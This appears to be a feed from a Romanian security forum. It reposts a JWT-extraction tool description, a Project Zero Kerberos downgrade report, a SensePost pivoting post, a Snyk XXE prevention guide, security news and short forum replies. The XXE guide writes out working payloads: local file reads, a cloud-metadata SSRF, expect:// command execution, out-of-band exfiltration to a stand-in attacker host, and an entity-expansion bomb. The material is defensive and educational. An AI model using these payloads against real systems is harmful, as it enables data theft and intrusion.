Nytro

AzTokenFinder Is a small tool to extract JWT (or JWT like looking data) from different processes, like PowerShell, Excel, Word or others. The idea was from another tool which I read about on Twitter, but I could not find it anymore. Maybe someone could give me a hint. AzTokenFinder.exe --help --processname Names of process you want to parse. Please omit the ".exe". --processids ProcessIDs you want to parse. --default Enumerate Edge, Excel, Word, PowerShell, Teams, Onedrive and PowerPoint. --showexpiredtokes (Default: false) Shows expired tokens. --help Display this help screen. --version Display version information. How does it work There is nothing special in it. It simply opens the processes you provide and searches through the memory for JWT like looking data and extracts them. Note It currently only works with x64 processes and it does not extract refresh tokens currently. Maybe I'll change this later. Sursa: https://github.com/HackmichNet/AzTokenFinder

Issue 2310: Windows: Kerberos RC4 MD4 Encryption Downgrade EoP Reported by forshaw@google.com on Thu, Jun 2, 2022, 9:58 PM GMT+3 Project Member Description #1 by forshaw@google.com (Jun 2, 2022) Windows: Kerberos RC4 MD4 Encryption Downgrade EoP Platform: Windows 10+ Class: Elevation of Privilege Security Boundary: User Summary: The KDC allows an interposing attacker to downgrade to RC4 MD4 encryption in compromising the user's TGT session key resulting in EoP. NOTE: I tried to look if this was something which has been reported before. The fact that Kerberos can have its encryption downgraded is a well known issue, but the primary use case seems to be to get crackable data by weakening the encryption. However, I couldn't find a description of this specific attack. Also while I'm sure Kerberos armoring will prevent the attack as is, unless FAST is required I am led to understand that an attacker can downgrade to non-FAST if they're in a privileged position on the network. Description: When Kerberos makes an initial request to the KDC to authenticate a user it sends an AS-REQ structure. One of the options in the AS-REQ is a list of encryption algorithms that the client supports. The KDC will accept the strongest available from the list for things like session keys. The problem with the list is it's unprotected (without FAST) and so an attacker who interposes the connection can modify it before it goes to the KDC. This allows the attacker to downgrade the encryption used to a weaker algorithm such as RC4-HMAC which is more amenable to cracking the password due to the weak password to key generation. However, even with downgrading to RC4-HMAC it's not an immediate exploit, the key would have to be cracked offline which for complex passwords can take a long time. For example, a computer account usually has a 120 character randomly generated password which would be effectively impossible to crack. Through inspection it seems that you can request any Kerberos encryption algorithm supported by CRYPTDLL which implements all the Kerberos encryption engines. The one of most interest is RC4-MD4 (encryption type -128) as it has some serious security weaknesses. 1. Only 8 of the 16 key bytes are used by the encryption algorithm. 2. The key is not blinded or otherwise hashed unlike RC4-HMAC which means the key stream is always the same for the same key. 3. The encryption ignores the key usage value so different parts of the protocol also use the same RC4 key stream. 4. The encryption has no cryptographic checksum applied so the cipher text can be modified if the plain text is known. 5. Session keys, when generated, only have 40bits of randomness, the remaining 11 bytes of the key as populated with the value 0xAB. If you can downgrade the client and KDC to use RC4-MD4 then it's catastrophic for the Kerberos authentication process. An attacker could get the KDC to use an RC4-MD4 session key for the initial TGT which only has 40 bits of entropy and be reasonably confident of brute forcing that before the associated ticket expires. They could then issue TGS requests for arbitrary service tickets for that user. However, brute force seems overly complex. Instead if the initial AS-REQ without the pre-authentication is downgraded then it induces the client into using RC4-MD4 with its RC4-HMAC key for the encrypted timestamp. The KDC authenticates the timestamp and returns an AS-REP with the result also encrypted to the user's RC4-HMAC key but with the RC4-MD4 algorithm. Almost the entirety of the encrypted timestamps' plain text data is known or can be guessed, which means we can determine the keystream for the user's encryption key. We can then apply that keystream to decrypt some encrypted data in the AS-REP. By luck the TGT session key is at the start of the encrypted data. We don't have enough of the keystream from the timestamp to decrypt the entire key but we only need the first 5 bytes due to the weak session key generation. We end up with an overlap between the last byte of the key and the first byte of the microseconds for the timestamp which could be anything. As long as we then observe at least one TGS-REQ from the user (which they will almost certainly do) we can use that to brute force offline the single remaining byte of the key. With the TGT session key the attacker could impersonate the user entirely. How you interpose the Kerberos connection is myriad. Obviously local network based attacks are possible such as a "Coffee Shop" attack or DNS spoofing. It's possible this could also resurrect attacks such as MS15-011 on group policy as getting the TGT of the computer account would allow for the session keys for service tickets to be decrypted and by extension the sub-session keys from the AP-REQ to hijack the SMB connection. Fixing wise, nothing should be using the RC4-MD4 encryption algorithm, it's not even clear why it's still there in CRYPTDLL. One way to mitigate the attack as described is to disable RC4 across the board, both on the KDC and the clients. If this is only disabled on clients then it might be possible to get the initial pre-authentication to use AES but only change the session key which might allow it to continue to function but I've not verified that. Even if you do that you might need to bruteforce the session key, but that's doable. Using PKINIT would break the initial hijacking of the AS-REQ's encrypted timestamp, but it might still be possible to downgrade the TGT's session key. At that point the only attack might be to brute force the key. However it is also possible that the encrypted data in the initial TGS-REQ could be attacked instead as the encrypted authorization data is encrypted with the same key as the authenticator. FAST would also break the attack as described but I'm not sure if that's sufficient if you're in a privileged network position and FAST is not required. Proof of Concept: I’ve provided a PoC as a C# project. It works locally using KDC pinning to hijack a SSPI Kerberos authentication process to steal the TGT. This in itself is a potentially useful local privilege escalation but of course the real attack would be remote. You need to get and build a copy of my NtApiDotNet library to build the project (https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools). 1) Compile the C# project, put a copy of NtApiDotNet.dll in the project's directory before building. 2) Run the POC on a domain joined machine where FAST hasn't been configured and RC4 is still enabled. 3) The POC should complete successfully. Expected Result: The downgraded encryption is rejected on the KDC and/or the client. Observed Result: The KDC and client honor the encryption downgrade and the POC can request a new TGT indicated by printing the final key. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-08-31. [Deleted] poc_rc4.zip Sursa: https://bugs.chromium.org/p/project-zero/issues/detail?id=2310

WireSocks for Easy Proxied Routing Reading time ~9 min Posted by Michael Kruger on 30 September 2022 Categories: Networking, Offence, Vpn, Windows I built some infrastructure that you could deploy and use to easily tunnel from arbitrary sources over a proxy such as SOCKS, using anything that can run WireGuard. This is convenient in cases where it would be nicer to have a full network route to a target network (with working DNS) vs just having application specific proxy rules. In this post I’ll elaborate a bit on that idea. If you are just looking for the code you can find it here: https://github.com/sensepost/wiresocks. Introduction We often get into a position where some sort of internal device has been compromised and you want to take it further. This involves getting network traffic through your compromised device via a SOCKS proxy. SOCKS proxies are everywhere and there are many examples of Cobalt Strike or Metasploit being used to proxy traffic through an agent or tools like ReGeorg, Pivotnacci or Chisel being used to proxy traffic via a compromised web server or similar. Existing solutions Once you have a SOCKS proxy setup, that is usually when good old reliable proxychains-ng comes into the picture where you’d use it to tunnel the majority of your tooling through the proxy. However, recently a lot of really nice tools have been released which have been made to run on Windows. This comes with the issue of how are we going to trick these Windows applications into using our proxy. The SpectorOps team wrote an excellent post detailing how to use software such as Proxifier and Proxycap on Windows to force your tools to use your proxy. If you haven’t, go read it! Unfortunately, in some edge cases those tools fail or become annoying by not catching all the traffic as you’d like. Having this happen a few times, I was struck with some inspiration. Why not do the redirection at a network level and avoid all the weird Windows nuances? Network Level Proxying Luckily for me there already was a project that handled this called tun2socks (originally I used RedSocks, but @RoganDawes showed me tun2socks which removes some of the iptables complexity in RedSocks) which is really just some Golang magic together with some routes that lets you redirect traffic into a tun device and have it push traffic through your SOCKS proxy. This seemed like a great idea, except every time you would want to use it for your Windows machine you would have to setup a Linux router with this installed and route your Windows machine through it. This would be more effort than Proxyfier, I felt. Turns out, we have this easy network tooling that runs on Windows (amongst others) that takes your traffic from one point to another called VPNs. More specifically in this instance I used WireGuard which is an awesome simple VPN that has clients for all manner of operating systems. WireSocks Glueing those two services together, ie. tun2socks and Wireguard, we can connect arbitrary clients via Wireguard and route traffic into a SOCKS proxy and into client networks. High level architecture diagram for WireSocks Using this setup, we can now interact with a remote network, using a traditional network route, complete with DNS resolution (more on that in a moment!). Listing of a Domain Controller’s shared folders via a SOCKS proxy exposed using Cobalt Strike, leveraging WireGuard and tun2socks to reach it. To make getting up and running even simpler I did some searching for docker containers to handle some of the work for me. I found that tun2socks also had a container, xjasonlyu/tun2socks and linuxserver/wireguard which I had previously used for my own WireGuard server. I did some editing of the tun2socks docker container with a simpler entry point to our use case. Using docker compose to glue the services together and to set this up quickly on a jump box, I gave it a test and was able to get SeatBelt.exe into the network from my own Windows VM just by connecting to the WireGuard VPN. \o/ Running SeatBelt on a remote host, inside the compromised network over our WireGuard tunnel, via a SOCKS proxy. DNS via WireSocks There is one problem though, UDP traffic is not working great (even though SOCKS5 supports it), which causes issues as DNS is over UDP. After fighting with tunnelling UDP traffic and eventually working out that the specific SOCKS proxy I was using did not support UDP I opted to setup a DNS server which would take UDP requests and forward them on as TCP. This was very easy as the linuxserver/wireguard docker had CoreDNS as its own DNS server for WireGuard clients. After looking at CoreDNS’ plugins I discovered the forward plugin supported an option to force TCP. This means that if the client uses the WireGuard CoreDNS server the request would be converted to TCP and would then be captured by tun2socks solving the issue. Once again I went for an allow list approach so that we can specify which DNS requests get forwarded through the SOCKS proxy so that we don’t spam the victims internal DNS with random requests. An example Corefile follows: # Domain that you would like to convert to TCP so that # it gets pushed through tun2socks example.zzz { loop log # Change IP to that of the internal DNS server you want to use. forward . 123.123.123.123:53 { force_tcp } } Bringing it all together To get this all setup easily, I created a basic Dockerfile based off the one in the tun2socks repo so that it would take my own entrypoint.sh. My entrypoint removed a lot of the iptables marks in the original and instead just parses some environment variables such as $TUN_INCLUDED_ROUTES to add routes in the docker container running tun2socks. config_route() { for addr in $(echo "$TUN_INCLUDED_ROUTES" | tr ',' '\n'); do ip route add $addr dev $TUN done } This docker now would setup the TUN interface and the configured routes would be redirected into the TUN and therefore into the SOCKS proxy. Now I just needed to run the second WireGuard docker and get it to use the same routes as well as have access to the network namespace of the tun2socks docker so it could use the TUN interface. Or I could just add a WireGuard server to the tun2socks docker. Turns out the first option is easier. It is possible to tell a docker to use the network namespace of another container when it gets setup. This is done by specifying container:container_name as a --net option like below: docker run -it --rm --net container:wiresocks alpine /bin/sh The above command would run an alpine container but its network stack would be the same as the wiresocks container which includes all the routes as well as the TUN interface. This allows you to generically add any dockerised tools into that namespace which would obey the routes and essentially be SOCKS’d via the proxy. This means you can bring any docker container into the same namespace and have it access the same network! Using the same namespace trick to attach a docker container with impacket tools installed to use the same socks proxy hack. Going back to WireGuard I created a docker-compose that handles most of the setup for you so that you can have any client machine get routed via SOCKS transparently: https://github.com/sensepost/wiresocks/blob/main/docker-compose.yml Getting started with Wiresocks Using WireSocks should be pretty simple. You need a host (say a jump box), a proxy (such as SOCKS) into your target network (your jump box should be able to reach it), and docker compose installed. Then, clone the WireSocks repository, copy the example .env.example file to .env, edit it appropriately and run docker compose up -d. With the stack up and running, you should see a new config/ directory which will contain the WireGuard client configuration files you’d need to configure on your clients (like Windows, Linux, macOS etc.). Conclusion So all of this provides a generic way to get a computer’s TCP traffic into a SOCKS proxy without too much funny business. UDP support is something that the SOCKS proxy would need support for and it also needs to play nicely with tun2socks, so if someone can figure that out before me, please let me know! The tool/docker can be found here: https://github.com/sensepost/wiresocks Hopefully this helps some people who have been frustrated by their tools not using their SOCKS. Sursa: https://sensepost.com/blog/2022/wiresocks-for-easy-proxied-routing/

How to find and fix XML entity vulnerabilities Michael Sherman September 7, 2022 XML is a human-readable text format used to transport and store structured data. Tags and data structures are defined by users in self-describing documents that are universally parsable by any XML tool, giving developers a highly configurable mechanism for data representation. To build on XML’s limited base syntax, an author can define the structure and acceptable content of a document’s data using a document type definition (DTD). The DTD enables users to define a document’s valid data and describe data in one location for reuse throughout the document. A general entity is declared in the DTD, and then referenced in the document body by adding an ampersand (&) before its name and a semicolon (;) after. You can define an entity in the document: <!ENTITY name "Taylor Gray"> ... <name>&name;</name> However, you can also declare an entity in an external source by referencing a file path or URL: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "person.dtd"> <person> <name>&name;</name> </person> The person.dtd file contains: <!ENTITY name "Taylor Gray"> Combined with XML’s simple syntax and the uniformity of most parsers, this capability makes it relatively simple for attackers to perform an attack called XML external entity (XXE) injection. In this post, we’re going to take a close look at XXE and explore ways to prevent it. Why XXE represents a security risk XXE injection attacks let attackers take advantage of external entity declarations to gain access to files or infrastructure on their target server or network. This can include sensitive personal information, business logic, and credentials. In serious cases, attackers can commit a server-side request forgery, which lets them impersonate a server on their target’s network and may enable them to execute code remotely. This enables them to escalate their privileges to traverse their target’s infrastructure and attack other unprotected components — or propagate attacks appearing to originate from their target to other networks downstream. DATA RETRIEVAL The most common XXE injection vulnerability lets attackers prompt a server to disclose sensitive data or files in an HTTP response. In isolation, this gives an attacker read-only access to data, but it can reveal information useful for escalating to a more damaging attack. For example, an attacker can send a payload to a target server to cause the target server to display a local password file: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE staffInfo [ <!ENTITY xxe SYSTEM "file:///etc/pâsswd"> ]> <staffInfo> <username>&xxe;</username> <email>email</email> </staffInfo> Implementing a robust data encryption protocol is effective in preventing data retrieval, as it renders the stored data unreadable and unusable — even if an attacker successfully infiltrates the target’s server. Using symmetric algorithms such as the advanced encryption standard (AES) to store and transfer sensitive XML-based information, you set a confidential security key that will be used to encrypt and decrypt your data. Furthermore, disabling the XML parser’s default support for external entities is an effective mitigation strategy against this kind of attack. SERVER-SIDE REQUEST FORGERY A server vulnerable to XXE injection presents an opportunity for an attacker to impersonate the server and make requests to internal resources not normally visible outside the network. In a server-side request forgery (SSRF) attack, an attacker will typically inject a URL or address pointing to the vulnerable server’s local file system instance or other restricted-access resources — especially when user inputs are not properly filtered by the XML parser. They can then obtain credentials and gain administrative privileges within their target’s network: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE userInfo [ <!ENTITY xxe SYSTEM "https://169.254.169.254/latest/meta-data"> ]> <userInfo> <username>&xxe;</username> <email>email</email> </userInfo> If the attacker successfully gains administrative privileges, they can impersonate the server to probe their target’s network for additional vulnerabilities. They may even be able to remotely execute code and propagate further attacks. There are a few remedies that significantly improve your application’s resilience to this kind of attack: Block all unauthorized incoming user requests to internal resources and confidential addresses. Consider implementing a comprehensive blocklist containing possible malicious addresses and URLs that may pose a threat to your web infrastructure. Adopt intelligent static analysis tools (such as Snyk Code) capable of testing your code for vulnerabilities and security loopholes. REMOTE CODE EXECUTION An attacker can use XXE injection for remote code execution (RCE) on a target server. For example, they can target a PHP-powered website or application where the Expect plugin is enabled by declaring an entity containing the expect wrapper to remotely execute commands: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE userInfo [ <!ENTITY xxe SYSTEM "expect://ifconfig"> ]> <userInfo> <username>&xxe;</username> <email>email</email> </userInfo> The ifconfig command in this example returns the server’s network configuration when the XML parser evaluates the xxe entity. We can prevent RCE by selectively disabling protocol wrappers, such as the Expect PHP extension, in our websites or web apps. However, even in cases where there are no avenues of receiving a direct response from the server, an attacker can use blind XXE methods instead. BLIND XXE ATTACKS In some cases, XML parsers may prevent entity declarations in the body of the XML documents. An attacker can bypass this restriction by using parameter entities, which are only declared in the DTD or as the value of another entity. A parameter entity is declared by prepending its name with a percent sign and a whitespace character (%), and then referenced by adding a percent sign (%) before its name and a semicolon (;) after. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://evil-attacker.com"> %xxe; ]> In this code, the targeted server will try to send the HTTP request to the attacker’s server URL. As a result, the attacker can perform the DNS lookup of the target server using this blind XXE attack. ERROR-BASED INFORMATION DISCLOSURE Our server is vulnerable to blind XXE injection methods if an attacker can retrieve valuable data by examining the error messages our server emits. For example, this payload coerces our server to disclose a /etc/pâsswd file in its error message: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % badfile SYSTEM "file:///etc/pâsswd"> <!ENTITY % wrapper "<!ENTITY &#x25; induce SYSTEM 'file:///nosuchfileexists/%badfile'>"> %wrapper %induce ]> This payload defines three parameter entities: badfile, populated by the content of the /etc/pâsswd file, wrapper, which contains the dynamic declaration of a new parameter entity named induce, and the induce entity, which induces a lookup to a path that triggers an error message. To declare the wrapper entity, the attacker dynamically declares the induce entity, which contains a valid but nonexistent path containing the value of the badfile parameter. Then, when the wrapper entity is referenced, the dynamic declaration of the induce entity will be initiated. Finally, when the parser encounters the induce entity, it returns an error message informing the user that the file with the name equal to the value of badfile doesn’t exist on the nosuchfileexists path. And since badfile contains the contents of etc/pâsswd, the information is displayed for the attacker. A robust error-handling protocol can reduce our app’s vulnerability to error-based information disclosure. This protocol may include limiting the length and scope of the error messages that the server sends to the client. By using a custom message body and HTTP status code, we can avoid verbose, automatically generated error messages, as they essentially provide free reconnaissance for attackers. We need to clearly define error messages for expected scenarios, such as those applicable to our example server’s FileNotFound exception. Furthermore, we need to ensure that we specify appropriate error messages for edge cases, which usually requires us to test our code. OUT-OF-BAND EXFILTRATION An out-of-band attack is used to exfiltrate data along a different channel than the one used to send the attack. This type of attack usually involves directing the target server to make a request to an address at which the attacker hosts a malicious external DTD. First, they will have to send a compromised payload with the content of a malicious DTD, such as: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://evilattacker.com/corrupted.dtd"> %xxe; ]> The corrupted.dtd file on the attacker server contains: <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % badfile SYSTEM "file:///etc/pâsswd"> <!ENTITY % deval "<!ENTITY &#x25; revealinfo SYSTEM 'https://evilattacker.com/?x=%badfile;'>"> % deval; % revealinfo ; When the revealinfo entity is executed, an HTTP request is sent to the attacker’s server with the value of badfile embedded in the request string. When the deval entity is referenced, the dynamic declaration of the revealinfo entity will be initiated. OTHER VECTORS Other common vectors for XXE attacks include: File uploads, such as .config files Text input fields, especially those like HTML text and textarea fields, which may have limited input validation rules XML-based technologies, such as RSS feeds and APIs XML-based files, particularly common formats like SVG images For example, an attacker can upload an SVG containing a link to a malicious document to execute an XML bomb attack: <svg width="128px" height="128px" xmlns="https://www.evilattacker.com/svg" xmlns:xlink="https://www.evilattacker.com/xlink" version="1.1"> <text font-size="16" x="0" y="16">&a4;</text> </svg> The payload might look something like this: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ELEMENT bin (#PCDATA)> <!ENTITY a0 "garbage"> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <bin>&a4;</bin> The parser sees several entity declarations in the DTD, but it doesn’t evaluate them right away. It then reads the document and encounters the bin element, which it calls by expanding the a4 entity. However, to do so, it must expand the ten contained instances of the a3 entity, which requires it to expand the contained a2 entities — all the way down to a0. The final expanded size of the bin element contains the recursive expansion of all the elements in the a4 entity. In a payload with ten or more levels of nested entities, the resulting file can be hundreds of gigabytes, typically causing an out-of-memory error for the server attempting to parse the SVG file — and a denial of service for our users. Setting automatic memory or other resource usage limits for request processing is enough to prevent many types of DOS attack, as they generally rely on overwhelming a server’s capacity. Universally applicable security practices DISABLE SUPPORT FOR EXTERNAL ENTITIES Disallowing external entities and user-defined DTDs is often enough to mitigate many types of XXE injection attacks, and most tools provide single-line commands to achieve this. USE A WEB APPLICATION FIREWALL (WAF) Web application firewalls (WAFs) are great tools in combating XXE attacks generally, as they inspect HTTP traffic for potentially malicious content and apply filtering rules to protect our web applications. IMPLEMENT ZERO TRUST SECURITY The trust relationship between your web applications and other external or third-party services (such as message brokers and user authentication platforms) can be exploited to launch a SSRF on your server infrastructure. Furthermore, services within your network should only be allowed to access the resources they need to function properly. We should make sure to appropriately isolate logs and sensitive data, and implement strong processes to regularly audit access privileges for all users — both human and programmatic. This also makes security maintenance easier to manage in the long term. ALWAYS RUN AUTOMATED XXE VULNERABILITY SCANS AND TESTING Automatic XXE vulnerability scans can help identify and address vulnerabilities in your infrastructure before an attacker exploits them. A comprehensive and intelligent detection system should also offer recommendations for how to further secure the system. KEEP YOUR SECURITY PATCHES UP TO DATE It’s important that our systems have up-to-date patches from trusted security providers. These supports may include security driver updates and DOS protection patches. For the latest on open source vulnerabilities, we recommend using Snyk Open Source, which is powered by the comprehensive, accurate, and timely Snyk Vulnerability Database. REDUCE RISKS WITH SNYK PROTECTION CAPABILITIES Third-party libraries are sometimes vulnerable to exploitation thereby exposing your application to attackers. To further boost your application’s defenses, we suggest using Snyk OSS to scan each third-party library that is integrated into your application. You can also take advantage of the Snyk code capabilities to identify and catch potential security vulnerabilities before they are exploited. Final thoughts on XML security XML is a versatile and powerful tool for data transport — even more so because it enables us to dynamically use linked external resources. However, these characteristics make it a popular tool for malicious actors. To properly prevent and mitigate the risks associated with it, it’s vital to understand the potential vulnerabilities it can introduce. Improperly sanitized user inputs, overly verbose error handling, and weakly configured access privileges open the possibility for attackers to use external entity (XXE) injection attacks to compromise our systems. An effective way to fix these vulnerabilities is to validate and filter user input and uploads, and in most cases to simply remove functionality like external DTD processing or PHP protocol wrappers. Error messages are most appropriate when they communicate minimal information to the user. For example, if a user fails a login attempt, it’s not necessary to tell them whether it’s their password or username that didn’t pass. We can also implement WAFs and DOS protections or use a service provider who offers these features. And, if an attacker does breach security, they should only encounter encrypted data and a network of zero-trust services. Sursa: https://snyk.io/blog/find-and-fix-xml-entity-vulnerabilities/

https://adevarul.ro/stiri-interne/evenimente/inchisoare-pe-viata-pentru-luptatorul-k1-care-a-2209265.html?

Da, interesanta poveste. Intrebarea mea ar fi "de ce spitale?". Ce ai patit dupa ce te-au prins? Ma bucur sa vad ca ti-ai schimbat mentalitatea.

They are the winners from the last edition of DefCamp Capture the Flag (D-CTF) competition. Wondering how your name could get on the D-CTF 2022 leaderboard (win prizes totaling EUR 4,500 & get free tickets to DefCamp 2022)? Just follow these 3 easy steps: 1. Get your team together & register for the D-CTF 2022 Qualifications - not to put any pressure, but there is only one week left! 😱 WHEN? Starting September 30th, 09.00 UTC Until October 1st, 15.00 UTC WHERE? Online, on CyberEDU.ro Register: https://dctf22-quals.cyberedu.ro/ 2. Hack before getting hacked & make it in the top 10 shortlist that will be attending the finals during the DefCamp conference in Bucharest. P.S. Up to 5 teams from Romania will also be invited in the final. 3. Join us at DefCamp on November 10-11 in Bucharest & do your absolute best in the D-CTF 2022 finals! Register: https://dctf22-quals.cyberedu.ro/ See you soon! The DefCamp team

Tot legat de Uber

Exemplul Uber:

GTA 6 source code and videos leaked after Rockstar Games hack By Lawrence Abrams September 18, 2022 Grand Theft Auto 6 gameplay videos and source code have been leaked after a hacker allegedly breached Rockstar Game's Slack server and Confluence wiki. The videos and source code were first leaked on GTAForums yesterday, where a threat actor named ‘teapotuberhacker’ shared a link to a RAR archive containing 90 stolen videos. The videos appear to be created by developers debugging various features in the game, such as camera angles, NPC tracking, and locations in Vice City. In addition, some of the videos contain voiced conversations between the protagonist and other NPCs. RAR archive containing the 90 leaked GTA 6 videos The hacker claims to have stolen "GTA 5 and 6 source code and assets, GTA 6 testing build," but is trying to extort Rockstar Games to prevent further data from being released. However, the threat actor says they are accepting offers over $10,000 for the GTA V source code and assets but are not selling the GTA 6 source code at this time. Selling GTA V source code on Telegram Source: BleepingComputer After forum members showed disbelief that the hack was real, the threat actor claimed he was behind the recent cyberattack on Uber and leaked screenshots of source code from both Grand Theft Auto V and Grand Theft Auto 6 as further proof. Rockstar games have not released a statement or responded to our email about the attack at this time. However, Bloomberg's Jason Schreier confirmed the leak was valid after speaking to sources at Rockstar. The leaked videos have since made it onto YouTube and Twitter, with Rockstar Games issuing DMCA infringement notices and takedown requests to get the videos offline. Leaked GTA 6 video taken down on YouTube Source: BleepingComputer "This video is no longer available due to a copyright claim by Take 2 Interactive," reads a copyright claim by Take 2 Interactive, the owner of Rockstar Games. These takedown demands lend further validity to the fact that the leaked GTA 6 videos are real. However, Rockstar Game's efforts come too late, as the threat actor and others had already started leaking the stolen GTA 6 videos and portions of the source code on Telegram. For example, the threat actor leaked a GTA 6 source code file today that is 9,500 lines long and appears to be related to executing scripts for various in-game actions. Claims to be behind Uber attack The hacker hasn’t shared details on how they gained access to the GTA 6 videos and source code other than claiming to have stolen them from Rockstar’s Slack and Confluence servers. The threat actor also claims to be the same hacker, named 'TeaPots,' behind the recent Uber cyberattack, but BleepingComputer could not confirm whether these claims are valid. However, during the cyberattack on Uber, the threat actor also gained access to the company's Slack server and other internal services after performing a social engineering attack on an employee. While there are not enough details about the Rockstar Games hack, the types of servers accessed and the very public announcements are similar to the Uber hacker’s tactics. Sursa: https://www.bleepingcomputer.com/news/security/gta-6-source-code-and-videos-leaked-after-rockstar-games-hack/

Se refera la faptul ca se gaseste access token-ul? Pfff, ce porcarie, e necesar, by design. Si daca crypteaza cu DPAPI cum fac browserele e acelasi lucru, ca se pot decrypta rapid, nu exista solutie pentru asa ceva. Firma lu peste isi face reclama cu mizerii dinastea, ca LOLBIN-urile sau alte porcarii inutile. Parerea mea.

Facui update si la IPBoard si la tema dar se pare ca problemele persista, nu am idee de ce si nici nu am timp sa investighez

Noroc si bine ai revenit, desi nu mai suntem foarte activi suntem inca aici la datorie.

35,000 code repos not hacked—but clones flood GitHub to serve malware By Ax Sharma August 3, 2022 Thousands of GitHub repositories were forked (copied) with their clones altered to include malware, a software engineer discovered today. While cloning open source repositories is a common development practice and even encouraged among developers, this case involves threat actors creating copies of legitimate projects but tainting these with malicious code to target unsuspecting developers with their malicious clones. GitHub has purged most of the malicious repositories after receiving the engineer's report. 35,000 GitHub projects not hijacked Today, software developer Stephen Lacy left everyone baffled when he claimed having discovered a "widespread malware attack" on GitHub affecting some 35,000 software repositories. Contrary to what the original tweet seems to suggest, however, "35,000 projects" on GitHub have not been affected or compromised in any manner. Rather, the thousands of backdoored projects are copies (forks or clones) of legitimate projects purportedly made by threat actors to push malware. Official projects like crypto, golang, python, js, bash, docker, k8s, remain unaffected. But, that is not to say, the finding is unimportant, as explained in the following sections. Software engineer Stephen Lacy first publicized the finding (Twitter) While reviewing an open source project Lacy had "found off a google search," the engineer noticed the following URL in the code that he shared on Twitter: hxxp://ovz1.j19544519.pr46m.vps.myjino[.]ru BleepingComputer, like many, observed that when searching GitHub for this URL, there were 35,000+ search results showing files containing the malicious URL. Therefore, the figure represents the number of suspicious files rather than infected repositories: GitHub search results for malicious URL reveal over 35,000 files (BleepingComputer) We further discovered, out of the 35,788 code results, more than 13,000 search results were from a single repository called 'redhat-operator-ecosystem.' This repository, seen by BleepingComputer this morning, appears to have now been removed from GitHub, and shows a 404 (Not Found) error. The engineer has since issued corrections and clarifications [1, 2] to his original tweet. Malicious clones equip attackers with remote access Developer James Tucker pointed out that cloned repositories containing the malicious URL not only exfiltrated a user's environment variables but additionally contained a one-line backdoor. Cloned repositories altered with malware contain backdoor (BleepingComputer) Exfiltration of environment variables by itself can provide threat actors with vital secrets such as your API keys, tokens, Amazon AWS credentials, and crypto keys, where applicable. But, the single-line instruction (line 241 above) further allows remote attackers to execute arbitrary code on systems of all those who install and run these malicious clones. Unclear timeline As far as the timeline of this activity goes, we observed deviating results. The vast majority of forked repositories were altered with the malicious code sometime within the last month—with results ranging from six to thirteen days to twenty days ago. However, we did observe some repositories with malicious commits dated as far back as 2015. Malicious commit made 13 days ago in one of the clones (BleepingComputer) The most recent commits containing the malicious URL made to GitHub today are mostly from defenders, including threat intel analyst Florian Roth who has provided Sigma rules for detecting the malicious code in your environment. Ironically, some GitHub users began erroneously reporting Sigma's GitHub repo, maintained by Roth, as malicious on seeing the presence of malicious strings (for use by defenders) inside Sigma rules. GitHub has removed the malicious clones from its platform as of a few hours ago, BleepingComputer can observe. As a best practice, remember to consume software from the official project repos and watch out for potential typosquats or repository forks/clones that may appear identical to the original project but hide malware. This can become more difficult to spot as cloned repositories may continue to retain code commits with usernames and email addresses of the original authors, giving off a misleading impression that even newer commits were made by the original project authors. Open source code commits signed with GPG keys of authentic project authors are one way of verifying the authenticity of code. Sursa: https://www.bleepingcomputer.com/news/security/35-000-code-repos-not-hacked-but-clones-flood-github-to-serve-malware/

Cine de pe aici vine la locatie?

Surely you’ve been expecting our email about the DefCamp conference, right? We are happy to officially announce that we’re back with DefCamp - the offline edition, this fall, as we've become accustomed to over the last 10 years. Registrations are NOW OPEN, which means you can book your early bird ticket right now! Ready, steady, gooooo pack your bags and cyber knowledge for #DefCamp12! https://def.camp/tickets/ WHEN: 10th-11th November, 2022 WHERE: Bucharest, Romania Call for papers: https://def.camp/call-for-papers/ Call for contsts: https://def.camp/call-for-contests/ Become a volunteer: https://def.camp/become-a-volunteer/ Website: https://def.camp/

Salut, la noi din cate stiu nu e legal si probabil nici in alte tari. O solutie ar fi sa ii dai in judecata dar costa timp, bani si nu merita. Daca erai in SUA merita, acolo se poate da in judecata pentru orice si se pot scoate salarii pe ani de zile din ele. Cea mai simpla idee ar fi sa discuti cu manager-ul sau cu cineva mai sus de acolo, sa mentionezi ca tu nu esti de acord si ca nu vrei sa se intample asta. Daca nu se poate, sugestia mea sincera e sa pleci de acolo ca nu merita sa lucrezi pentru astfel de specimene. Cat despre monitorizare nu e nevoie de cine stie ce solutii, monitorizarea ecranului e o mizerie, exista insa solutii de interceptare trafic (root CA pe PC-uri), se verifica DNS-urile, DLP si multe altele printre care Microsoft Defender (cu care cineva poate lua shell la tine). Dar in principiu nu se stie ce faci decat daca faci lucruri suspecte. Putin pe langa subiect, se pare ca si oamenii de acolo sunt putin cam "sclavi" si nu iti recomand sa lucrezi cu persoane care si-ar vinde familia pentru o firma (si un salariu) de cacat. Extra: Daca iti cauti altceva, cauta pana nu se afunda SUA si ulterior alte state in recesiune. In mare ar fi de preferat companii mari care au sanse mici sa crape in conditii economice dificile, dar si acestea pot da oameni afara si pe principiul LIFO, bobocii sunt primii care dispar.

Un bot mi-a laudat articolul, tot o lauda este, me happy si nu sterg spamu ❤️

Pff, cere IP si port si nu le pune in codul generat

